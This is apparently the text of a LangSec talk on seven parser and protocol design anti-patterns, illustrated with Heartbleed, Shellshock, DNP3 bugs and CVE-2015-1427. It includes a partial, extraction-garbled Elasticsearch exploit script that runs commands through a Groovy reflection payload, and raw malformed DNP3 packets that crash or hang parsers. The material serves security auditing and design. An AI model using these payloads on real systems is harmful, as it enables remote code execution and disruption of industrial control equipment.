The Seven Turrets of Babel:

Data Format is Code's Destiny:
Security Anti-Patterns Of Protocol Design.

Sergey Bratus
with
Falcon Momot
Sven Hallberg
Meredith L. Patterson
Economics

- Pen test, code audit "2+2": 2 persons, 2 weeks
  - Attackers have "infinite" time to find just 1 vuln
- Proofs of exploitability take weeks, even when weakness is evident
- Confirming departures from safe design practices is more helpful than proof of exploitability
A set of CWEs to say:
- this parser is trouble
- this data format is trouble
- this protocol spec is trouble

"A bad feeling is not a finding"
A bad feeling is not a finding

"I HAVE A BAD FEELING ABOUT THIS."
Our program

- Give the "bad feeling" a solid theory
  - Why parsers/protocols that *look* like trouble *are* trouble
  - Enhance CWE-398 "Indicator of poor code quality"
- Give auditors a weapon against **anti-patterns** in **parser code / data format** design:
  - Enable **LangSec CWE findings**, with a **taxonomy**
  - Show actual mechanisms behind CWE-20 "Improper input validation" etc.
Existing CWEs: 20, 78, 79, 89, ...

2009 CWE/SANS Top 25

2010 CWE/SANS Top 25

2011 CWE/SANS Top 25 (and still current)
What's wrong with existing CWEs?

- "Improper input neutralization" in shell command, SQL, and web contexts (CWE-{78,79,89})

  - **Mechanism**, not root cause

- Wrong level of **abstraction**. **Consequence** of bad design, not description of one.

  - Almost the proof of the vuln (expensive to find)
What is input validation and what good is it?

• Everyone is telling everyone else to "validate inputs for security". But what does it mean?

  • Implication: "valid" == "safe".

• Not all ideas of "valid" are helpful: compiling & running valid C on your system is not safe!

• "Safe" means predictably not causing unexpected operations
Security: "valid" must mean predictable, or it's useless

• Being valid should be a judgment about behavior of inputs on the rest of the program
  
  • Note: CWE's "neutralization" implies input is active, must be made "inert" to be safe
  
• "Every input is a program". Judging programs is very hard, unless they are very simple.
(Valid => predictable) || useless

- Make the judgment as **simple** as possible
  - i.e., checkable by code that can't run away & can be verified

- In general, "non-trivial" properties of Turing-complete programs **can't** be verified
  - but programs for simpler automata **can** be automatically verified
"Data format is code's destiny"

"Everything is an interpreter (=parser)"

"Every sufficiently complex input processor is indistinguishable from a VM running inputs as bytecode"
What is "trouble"?

Your program is a CPU/VM for adversary-controlled inputs

You must prevent run-away computation (a.k.a. exploit)

You must formulate & verify assumptions

\[ P \{ Q \} R \supseteq P' \{ Q' \} R' \supseteq P'' \{ Q'' \} R'' \supseteq \ldots \]

Even strict C.A.R. Hoare-style verification is brittle if any assumptions are violated
"Babel", a CWE

"Failure to communicate assumptions to interacting modules"
"Computation is not stable w.r.t. proofs"

Is the $\text{P} \{ \text{Q} \} \text{R}$ chain like this: or like this?
"Recognizer Pattern"

Input

Recognizer for input language

Language grammar Spec

Processing:
only well-typed objects,
no raw inputs

Reject invalid inputs

Only valid/expected inputs,
semantic actions past this line
Anti-patterns

1. Shotgun parsing
2. Input language > DCF
3. Non-minimalistic input-handing
4. Parser differentials
5. Incomplete specification
6. Overloaded fields
7. Permissive processing of invalid input

Christopher Ulrich, "Alchemy"
1. "Shotgun parser"

- Parsing and input-validating code is **mixed with** and **spread across** processing code.

- Input checks are **scattered** throughout the program.

- **No clear boundary** after which the input can be considered fully checked & **safe** to operate on.

- It's unclear from code **which properties** are being checked & which **have been** checked.
Heartbleed is a "shotgun parser" bug

<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Payload data</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS1_HB_REQUEST</td>
<td>65535 bytes</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

```
hbtype = *p++;
n2s(p, payload);
pl = p;
```
Where OpenSSL's parser went wrong

```c
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;

if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                    &s->s3->rrec.data[0], s->s3->rrec.length,
                    s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0; /* silently discard */
    hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;

if (hbtype == TLS1_HB_REQUEST)
{
    unsigned char *buffer, *bp;
    unsigned int write_length = 1 /* heartbeat type */ +
                               2 /* heartbeat length */ +
                               payload + padding;
    int r;
```
Premature processing of unvalidated input
DNP3-SA

- Parts of the DNP3 payload are crypto-signed
  - 21 of 34 function codes can be authenticated (=signed)
- Parsing of payloads can be deferred until authentication
- Hostile inputs problem solved? Not by far.
  - signed & unsigned elements are mixed; no easy skipping
  - state affected by both signed & unsigned messages
  - more complexity, not less
  - multiple syntax ambiguities
Figure 6. A session key status object with two variable-length fields, challenge data, and message authentication code (MAC) value. The MAC value’s length is the remainder of the length field framing the entire object.\(^1\)
Figure 7. Update key change request with two variable-length fields, user name and master challenge data. The length of the challenge data is explicitly encoded in the length field and implicitly encoded as the remainder of the length field framing the entire object.
2. Input languages more powerful than DCF

- "Validating input" is judging what **effect** it will have on code

- "Is it **safe** to process?" == "Will it cause **unexpected computation** on my program?"

- Make the judgment as **simple** as possible: "regular or context-free, syntactically valid == safe"

- Comp. power of recognizer **rises** with language's syntactic complexity (Chomsky hierarchy)

- Rice's theorem, halting problem: you **can't** judge effects of Turing-complete inputs. **Don't even try!**
Ethereum DAO disaster

"To find out what it does, you need to run it"

Recursion is trouble
Vuln #1

FA 82 00 00 01 00 02 00 00 00 00 FF FF FF FF

- Unsolicited Response
- Group 1 Variation 0
- 4 byte start/stop
- Sizeless?!

- infinite loop
- missing data
- integer overflow?
- accepts broadcast

Project Robus: Master Serial Killer, Crain & Sistrunk, S4x14
Vuln #2

DD 82 00 00 0A 02 01 00 00 FF FF

- UNSOL
- 2 byte start/stop
- Group 10 Variation 2
- Binary Output Status

- infinite loop
- missing data
- unexpected data
- integer overflow?
Vuln #3

05 64 06 44 64 00 64 00 FF F2 C0 1D 0A

1 byte payload
unconfirmed user data

100 100

CRC
CRC

FIR / FIN
SEQ = 0

- transport header only
- unhandled exception

Project Robus: Master Serial Killer, Crain & Sistrunk, S4x14
Vuln #4 (TMW integration)

- DD 82 00 00 0C 01 00 00 01 \texttt{rnd(11)} \texttt{rnd(11)}
  - Unsolicited Response
  - Control Relay Output Block
  - 1 byte start/stop
  - CROB #1
  - CROB #2

- buffer overrun
- not malformed!
- unexpected objects
- accepts broadcast

Project Robus: Master Serial Killer, Crain & Sistrunk, S4x14
Vuln #5 (TMW integration)

- Unsolicited Response
- Group 2
  - Var 2 (event)
- 2 byte start/stop
- 1
- 65535

- stable infinite loop
- max range - 1 and no data
- accepts broadcast
3. Non-minimalistic input handling

- Input-handling code should do **nothing** more than **consume** input, **validate** it (correctly) & **deserialize** it

- Use the **exact** complexity needed to validate & create **well-typed** objects

- Reflection, evaluation, etc. **don't belong** in input-handling code (even if "sanitized")

- Any extra computational power exposed is **privilege** given away to **attacker**
CVE-2015-1427

"Sanitized" Groovy scripts in inputs + JVM Reflection = Pwnage

```
def banner():
    print "\x1b[1;32m\nELASTICHELL\n\x1b[0m"

Exploit for ElasticSearch, CVE-2015-1427
Version: \x1b[0m\%(__version__\%)\n
def execute_command(target, command):
    payload = "\"{\"size\":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\")\}.getRuntime().exec(\"\"\"\".getText()\")\}"\}"\" \%(command\%)\n    try:
        url = http://\%s:9200/_search?pretty\%(target\%)
        r = requests.post(url, data=payload)
        except Exception, e:
            sys.exit("Exception Hit"+str(e))
        values = json.loads(r.text)
        f\[\[ing\] = values[\'hits\'][\'hits\'][0][\'fields\'][\'lupin\'][0]
        print f\[\[ing\]json\].strip()

def exploit(target):
    print \"\{\}\" Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something\n    while True:
        cmd = raw_input("\$ ")
```
"Ruby off Rails"

- "Why parse if we can `eval(user_input)`?"

- Oh so many. Joernchen of Phenoelit Phrack 69:12, Egor Homakov ("Don't let YAML.load close to any user input"), ...

- CVE-2016-6317, "Mitigate by casting the parameter to a `string` before passing it to Active Record"
"Shellshock"  CVE-2014-6271

`parse_and_execute(CGI_input)`

```c
/* Initialize the shell variables from the current environment.
    If PRIVMODE is nonzero, don't import functions from ENV or
    parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
    char **env;
    int privmode;
{
    [...]  
    for (string_index = 0; string = env[string_index++]; )  
    {
        [...]  
        /* If exported function, define it now. Don't import functions from
         the environment in privileged mode. */
        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))  
        {
            [...]  
            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
        [...]  
    }
```
"Crouching interpreter, hidden eval"

Input

Some kind of ad-hoc black-list filter

Intended function

Rich interpreter
4. Parser differentials

- Parsers in a distributed system disagree about what a message is
  - X.509 /ASN.1 "PKI Layer cake": CA sees (and signs) a different CN in CSR than client in the signed cert
  - Android Master Key bugs: Java package verifier sees different package structure than C++ installer (~signed vs unsigned ints in zipped stream)
  - Also, an instance of overly complex input format (must deal with complexity of unzip before validating!)
5. Incomplete specification

- Leads to parser differentials (X.509 redux)

- Without clear assumptions, the C.A.R. Hoare's $P \{Q\} R$ chain of assumptions & checks breaks
  - What is "valid" input? What's to be rejected?

- Doomed if more than one module (or programmer) is involved
  - Cf.: OpenSSL CVE-2016-0703, LibNSS CVE-2009-2404, ...
6. Overloaded fields

- Magic values cannot be consistently validated
  - What *language grammar* includes them?
  - What *type system* captures them?
- E.g.: CVE-2015-7871: NTP's crypto key field overloaded to mean "auth not required"
7. Permissive processing of invalid inputs

- **Reject, don't "fix"** invalid input. You cannot guarantee its computational behavior on your system.
  
  - famous example: IE8 anti-XSS created XSS vulns
  
  - PDF rewriting by Acrobat makes it hard to judge PDFs
  
- Your program's attempts to "fix" invalid input **will** become a part of the attacker's **exploit machine**
  
  - Postel's Robustness principle is trouble!

- **Rewriting** is a powerful computation model! Don't give the attacker any of it.
CWEs

1. Shotgun parsing
2. Input language > DCF
3. Non-minimalistic input-handing
4. Parser differentials
5. Incomplete specification
6. Overloaded fields
7. Permissive processing of invalid input

Christopher Ulrich, "Alchemy"
Thank you!

Join us for

4th IEEE Security & Privacy LangSec Workshop

May 25, 2017
San Jose, CA

http://spw17.langsec.org

http://langsec.org